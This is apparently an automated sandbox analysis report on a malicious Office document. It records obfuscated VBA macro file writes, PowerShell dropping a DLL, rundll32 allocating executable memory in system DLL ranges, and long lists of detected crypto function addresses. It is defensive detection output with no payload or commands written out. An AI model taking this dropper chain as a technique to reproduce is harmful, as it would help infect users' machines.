Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Kijlz_vipub2odr, String createtextfile: Set EwUzBCJIv = moOsEFZJ.CreateTextFile("K:\gdthEyA\xkjDIGC.IEdQFB")			Name: Kijlz_vipub2odr
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Yfr6vp8to4ivifcnb, String createtextfile: Set yYOQv = DHtmJJOX.CreateTextFile("K:\TVzKJ\VpNXA.ZPqwa")			Name: Yfr6vp8to4ivifcnb
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Yfr6vp8to4ivifcnb, String createtextfile: Set iDJpHJ = IeCnBFn.CreateTextFile("K:\GPxCKeLBF\oKHCHmpdJ.TlXQC")			Name: Yfr6vp8to4ivifcnb

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll

Jump to dropped file

Very long command line found

Source: unknown	Process created: Commandline size = 5841
Source: unknown	Process created: Commandline size = 5745
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5745			Jump to behavior

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write

Creates files inside the system directory

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Moldomm\

Jump to behavior

Detected potential crypto function

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001D0AC		7_2_1001D0AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1003B353		7_2_1003B353
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1003B473		7_2_1003B473
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001B773		7_2_1001B773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100357C0		7_2_100357C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001B9A5		7_2_1001B9A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100079E0		7_2_100079E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001BBE6		7_2_1001BBE6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10035BF0		7_2_10035BF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10033D2D		7_2_10033D2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001BE18		7_2_1001BE18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002FE2A		7_2_1002FE2A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C04A		7_2_1001C04A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C28B		7_2_1001C28B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1003628F		7_2_1003628F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C4BD		7_2_1001C4BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C71A		7_2_1001C71A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C986		7_2_1001C986
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001CBE3		7_2_1001CBE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001CE40		7_2_1001CE40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DC0C6		7_2_001DC0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E42DA		7_2_001E42DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E02C3		7_2_001E02C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D8736		7_2_001D8736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E4B41		7_2_001E4B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D2C63		7_2_001D2C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DEE78		7_2_001DEE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DB41F		7_2_001DB41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D568E		7_2_001D568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E3895		7_2_001E3895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D7B63		7_2_001D7B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DE05A		7_2_001DE05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D60B9		7_2_001D60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D80BA		7_2_001D80BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001EA0AF		7_2_001EA0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E20C5		7_2_001E20C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E61B8		7_2_001E61B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D62A3		7_2_001D62A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E2349		7_2_001E2349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DE377		7_2_001DE377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D839D		7_2_001D839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E63C1		7_2_001E63C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E26F5		7_2_001E26F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D6754		7_2_001D6754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DC769		7_2_001DC769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E878F		7_2_001E878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E67E9		7_2_001E67E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E687F		7_2_001E687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E889D		7_2_001E889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D48BD		7_2_001D48BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D88E5		7_2_001D88E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D69A0		7_2_001D69A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D4A35		7_2_001D4A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D2A30		7_2_001D2A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DEA4C		7_2_001DEA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E8ADC		7_2_001E8ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E2B16		7_2_001E2B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E0B68		7_2_001E0B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E8D1C		7_2_001E8D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E0D33		7_2_001E0D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D6D9F		7_2_001D6D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E6DB9		7_2_001E6DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E0F0C		7_2_001E0F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E8F49		7_2_001E8F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D8F78		7_2_001D8F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E511B		7_2_001E511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DB112		7_2_001DB112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E71EF		7_2_001E71EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E31E2		7_2_001E31E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D1280		7_2_001D1280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E12E2		7_2_001E12E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E73AC		7_2_001E73AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E340A		7_2_001E340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DF444		7_2_001DF444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D153C		7_2_001D153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DF536		7_2_001DF536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E9586		7_2_001E9586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D96CD		7_2_001D96CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DB75F		7_2_001DB75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E1773		7_2_001E1773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D17AC		7_2_001D17AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DD7EB		7_2_001DD7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D7998		7_2_001D7998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DF98C		7_2_001DF98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E7A0F		7_2_001E7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D9A37		7_2_001D9A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E5A61		7_2_001E5A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DBB3A		7_2_001DBB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E9B45		7_2_001E9B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D5B79		7_2_001D5B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E1BDF		7_2_001E1BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D1CFA		7_2_001D1CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E5D1D		7_2_001E5D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E7D03		7_2_001E7D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E7F1F		7_2_001E7F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001D9FDC		7_2_001D9FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001E3FE7		7_2_001E3FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021B41F		8_2_0021B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00212C63		8_2_00212C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021EE78		8_2_0021EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021568E		8_2_0021568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00223895		8_2_00223895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002202C3		8_2_002202C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021C0C6		8_2_0021C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002242DA		8_2_002242DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00218736		8_2_00218736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00217B63		8_2_00217B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00224B41		8_2_00224B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002263C1		8_2_002263C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00212A30		8_2_00212A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00214A35		8_2_00214A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00219A37		8_2_00219A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022340A		8_2_0022340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00227A0F		8_2_00227A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00225A61		8_2_00225A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022687F		8_2_0022687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021F444		8_2_0021F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021EA4C		8_2_0021EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021E05A		8_2_0021E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002162A3		8_2_002162A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022A0AF		8_2_0022A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002160B9		8_2_002160B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002180BA		8_2_002180BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002148BD		8_2_002148BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00211280		8_2_00211280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022889D		8_2_0022889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002212E2		8_2_002212E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002188E5		8_2_002188E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002226F5		8_2_002226F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00211CFA		8_2_00211CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002220C5		8_2_002220C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002196CD		8_2_002196CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00228ADC		8_2_00228ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00220D33		8_2_00220D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021F536		8_2_0021F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021BB3A		8_2_0021BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021153C		8_2_0021153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00227D03		8_2_00227D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00220F0C		8_2_00220F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021B112		8_2_0021B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00222B16		8_2_00222B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022511B		8_2_0022511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00227F1F		8_2_00227F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00228D1C		8_2_00228D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00225D1D		8_2_00225D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021C769		8_2_0021C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00220B68		8_2_00220B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00221773		8_2_00221773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021E377		8_2_0021E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00215B79		8_2_00215B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00218F78		8_2_00218F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00229B45		8_2_00229B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00222349		8_2_00222349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00228F49		8_2_00228F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00216754		8_2_00216754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021B75F		8_2_0021B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002169A0		8_2_002169A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002117AC		8_2_002117AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002273AC		8_2_002273AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002261B8		8_2_002261B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00226DB9		8_2_00226DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00229586		8_2_00229586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022878F		8_2_0022878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021F98C		8_2_0021F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00217998		8_2_00217998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021839D		8_2_0021839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00216D9F		8_2_00216D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002231E2		8_2_002231E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00223FE7		8_2_00223FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021D7EB		8_2_0021D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002267E9		8_2_002267E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002271EF		8_2_002271EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00221BDF		8_2_00221BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00219FDC		8_2_00219FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001D0AC		9_2_1001D0AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1003B353		9_2_1003B353
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1003B473		9_2_1003B473
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001B773		9_2_1001B773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100357C0		9_2_100357C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001B9A5		9_2_1001B9A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100079E0		9_2_100079E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001BBE6		9_2_1001BBE6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10035BF0		9_2_10035BF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10033D2D		9_2_10033D2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001BE18		9_2_1001BE18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1002FE2A		9_2_1002FE2A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001C04A		9_2_1001C04A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001C28B		9_2_1001C28B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1003628F		9_2_1003628F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001C4BD		9_2_1001C4BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001C71A		9_2_1001C71A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001C986		9_2_1001C986
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001CBE3		9_2_1001CBE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001CE40		9_2_1001CE40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020C0C6		9_2_0020C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002102C3		9_2_002102C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002142DA		9_2_002142DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002163C1		9_2_002163C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00208736		9_2_00208736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00214B41		9_2_00214B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00202C63		9_2_00202C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020EE78		9_2_0020EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020B41F		9_2_0020B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020568E		9_2_0020568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00213895		9_2_00213895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00207B63		9_2_00207B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020E05A		9_2_0020E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021A0AF		9_2_0021A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002060B9		9_2_002060B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002080BA		9_2_002080BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002120C5		9_2_002120C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002161B8		9_2_002161B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002062A3		9_2_002062A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020E377		9_2_0020E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00212349		9_2_00212349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020839D		9_2_0020839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002126F5		9_2_002126F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020C769		9_2_0020C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00206754		9_2_00206754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021878F		9_2_0021878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002167E9		9_2_002167E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021687F		9_2_0021687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002048BD		9_2_002048BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021889D		9_2_0021889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002088E5		9_2_002088E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002069A0		9_2_002069A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00202A30		9_2_00202A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00204A35		9_2_00204A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020EA4C		9_2_0020EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00218ADC		9_2_00218ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00212B16		9_2_00212B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00210B68		9_2_00210B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00210D33		9_2_00210D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00218D1C		9_2_00218D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00216DB9		9_2_00216DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00206D9F		9_2_00206D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00210F0C		9_2_00210F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00208F78		9_2_00208F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00218F49		9_2_00218F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020B112		9_2_0020B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021511B		9_2_0021511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002131E2		9_2_002131E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002171EF		9_2_002171EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00201280		9_2_00201280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002112E2		9_2_002112E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002173AC		9_2_002173AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0021340A		9_2_0021340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020F444		9_2_0020F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020F536		9_2_0020F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020153C		9_2_0020153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00219586		9_2_00219586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002096CD		9_2_002096CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00211773		9_2_00211773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020B75F		9_2_0020B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_002017AC		9_2_002017AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020D7EB		9_2_0020D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020F98C		9_2_0020F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00207998		9_2_00207998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00209A37		9_2_00209A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00217A0F		9_2_00217A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00215A61		9_2_00215A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020BB3A		9_2_0020BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00205B79		9_2_00205B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00219B45		9_2_00219B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00211BDF		9_2_00211BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00201CFA		9_2_00201CFA
